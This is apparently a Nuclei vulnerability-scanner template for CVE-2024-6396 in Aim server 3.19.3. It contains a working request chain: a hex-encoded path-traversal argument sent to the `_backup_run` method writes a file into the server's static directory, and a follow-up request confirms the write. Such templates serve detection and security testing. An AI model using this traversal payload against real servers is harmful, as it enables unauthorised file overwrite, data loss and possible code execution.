id: CVE-2024-6396

info:
  name: Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A vulnerability in the `_backup_run` function in aimhubio/aim version 3.19.3 allows remote attackers to overwrite any file on the host server and exfiltrate arbitrary data. The vulnerability arises due to improper handling of the `run_hash` and `repo.path` parameters, which can be manipulated to create and write to arbitrary file paths. This can lead to denial of service by overwriting critical system files, loss of private data, and potential remote code execution.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6396
    cwe-id: CWE-29
    cpe: cpe:2.3:a:aimstack:aim:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    verified: true
    fofa-query: icon_hash="-1047157256"
    product: aim
    vendor: aimstack
  tags: cve,cve2024,aim,aimhubio,file-write

variables:
  filename: "{{rand_base(7)}}"
  args: "{{ concat(hex_decode('000000000001000000060a000000fe0000000000000000fe004b000000042e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f707974686f6e332e392f736974652d7061636b616765732f61696d5f75692f6275696c642f'),filename, hex_decode('2e747874')) }}"

http:
  - raw:
      - |
        POST /tracking/client_1/get-resource HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "resource_handler": "my_resource",
        "resource_type": "Repo",
        "args": "AAAAAAABAAAABw=="
        }

      - |
        POST /tracking/client_1/read-instruction HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "resource_handler": "my_resource",
        "method_name": "_backup_run",
        "args": "{{base64(args)}}"
        }

      - |
        @Host: http://{{Host}}:43800
        GET /static-files/{{filename}}.txt HTTP/1.1
        Host: {{Host}}:43800

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '{"handler":"my_resource"}'

      - type: word
        part: body_3
        words:
          - "{{filename}}.txt"

      - type: word
        part: header_3
        words:
          - "text/plain"
# digest: 4b0a00483046022100dce3450fcc9930e84190bfe98f80f10406c83028d8464c1bef85343a87eb4508022100e4a10512f228d260e74f92e8a6c763fe311a8e548c65ee549f2bca371e370d77:922c64590222798bb761d5b6d8e72950